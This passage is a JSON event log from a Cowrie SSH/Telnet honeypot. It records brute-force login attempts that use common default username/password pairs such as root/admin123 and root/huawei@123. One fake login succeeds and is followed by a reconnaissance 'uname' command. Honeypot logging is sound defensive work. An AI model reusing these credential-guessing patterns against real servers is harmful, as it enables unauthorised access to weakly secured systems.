rt-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:29.100783Z","src_ip":"47.86.95.62","session":"e0f1a2638a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:30.076118Z","src_ip":"47.86.95.62","session":"e0f1a2638a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":36490,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8e65b9564bd","protocol":"ssh","message":"New connection: 213.209.159.56:36490 (159.203.135.109:22) [session: d8e65b9564bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:31.625027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:31.629501Z","src_ip":"213.209.159.56","session":"d8e65b9564bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:31.713850Z","src_ip":"213.209.159.56","session":"d8e65b9564bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auston","password":"auston","message":"login attempt [auston/auston] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:32.115946Z","src_ip":"213.209.159.56","session":"d8e65b9564bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auston","password":"auston1","message":"login attempt [auston/auston1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:33.201557Z","src_ip":"213.209.159.56","session":"d8e65b9564bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00156378746033,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:33.957385Z","src_ip":"187.222.242.146","session":"460ac3f97d53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00278568267822,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:33.962829Z","src_ip":"187.222.242.146","session":"a507f6988e1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00180006027222,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:34.059080Z","src_ip":"187.222.242.146","session":"f02d1db630db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00110101699829,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:34.063946Z","src_ip":"187.222.242.146","session":"5b0c9d850859","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"auston","password":"auston123","message":"login attempt [auston/auston123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:34.286127Z","src_ip":"213.209.159.56","session":"d8e65b9564bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00157070159912,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:34.575452Z","src_ip":"187.222.242.146","session":"350f9f7fe688","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"auston","password":"auston1234","message":"login attempt [auston/auston1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:35.371163Z","src_ip":"213.209.159.56","session":"d8e65b9564bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auston","password":"auston12345","message":"login attempt [auston/auston12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:36.456956Z","src_ip":"213.209.159.56","session":"d8e65b9564bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:37.546239Z","src_ip":"213.209.159.56","session":"d8e65b9564bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:37.921661Z","src_ip":"47.86.95.62","session":"e0f1a2638a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39958,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fe7b59ffd7a","protocol":"ssh","message":"New connection: 47.86.95.62:39958 (10.17.0.5:22) [session: 1fe7b59ffd7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:49.491420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:49.495035Z","src_ip":"47.86.95.62","session":"1fe7b59ffd7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:49.703082Z","src_ip":"47.86.95.62","session":"1fe7b59ffd7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:50.356954Z","src_ip":"47.86.95.62","session":"1fe7b59ffd7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:51.567463Z","src_ip":"47.86.95.62","session":"1fe7b59ffd7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":53212,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3f485a23fef","protocol":"telnet","message":"New connection: 187.222.242.146:53212 (159.203.135.109:23) [session: b3f485a23fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:52.952031Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":35672,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffac754b9972","protocol":"ssh","message":"New connection: 47.86.95.62:35672 (10.17.0.5:22) [session: ffac754b9972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:54.300940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:54.305210Z","src_ip":"47.86.95.62","session":"ffac754b9972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:54.511717Z","src_ip":"47.86.95.62","session":"ffac754b9972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:55.124629Z","src_ip":"47.86.95.62","session":"ffac754b9972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:56.336068Z","src_ip":"47.86.95.62","session":"ffac754b9972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53746,"dst_ip":"10.17.0.5","dst_port":22,"session":"381315fbce5e","protocol":"ssh","message":"New connection: 47.86.95.62:53746 (10.17.0.5:22) [session: 381315fbce5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:25.866875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:26.417423Z","src_ip":"47.86.95.62","session":"381315fbce5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:26.580486Z","src_ip":"47.86.95.62","session":"381315fbce5e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:28.401684Z","src_ip":"47.86.95.62","session":"381315fbce5e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:28.926797Z","src_ip":"47.86.95.62","session":"381315fbce5e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:28.929700Z","src_ip":"47.86.95.62","session":"381315fbce5e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:29.148727Z","src_ip":"47.86.95.62","session":"381315fbce5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:29.152589Z","src_ip":"47.86.95.62","session":"381315fbce5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":35578,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf05c0fd8644","protocol":"ssh","message":"New connection: 47.86.95.62:35578 (10.17.0.5:22) [session: bf05c0fd8644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:33.329247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:33.463037Z","src_ip":"47.86.95.62","session":"bf05c0fd8644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:33.552888Z","src_ip":"47.86.95.62","session":"bf05c0fd8644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:34.355131Z","src_ip":"47.86.95.62","session":"bf05c0fd8644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:36.335552Z","src_ip":"47.86.95.62","session":"bf05c0fd8644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":48454,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4b977f2fb07","protocol":"ssh","message":"New connection: 47.86.95.62:48454 (10.17.0.5:22) [session: a4b977f2fb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:52.733071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:52.788807Z","src_ip":"47.86.95.62","session":"a4b977f2fb07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:52.937897Z","src_ip":"47.86.95.62","session":"a4b977f2fb07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:53.919610Z","src_ip":"47.86.95.62","session":"a4b977f2fb07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:51:55.308006Z","src_ip":"47.86.95.62","session":"a4b977f2fb07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44008,"dst_ip":"10.17.0.5","dst_port":22,"session":"29d20d32f299","protocol":"ssh","message":"New connection: 47.86.95.62:44008 (10.17.0.5:22) [session: 29d20d32f299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:03.326607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:03.331939Z","src_ip":"47.86.95.62","session":"29d20d32f299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:03.539910Z","src_ip":"47.86.95.62","session":"29d20d32f299","protocol":"ssh"}
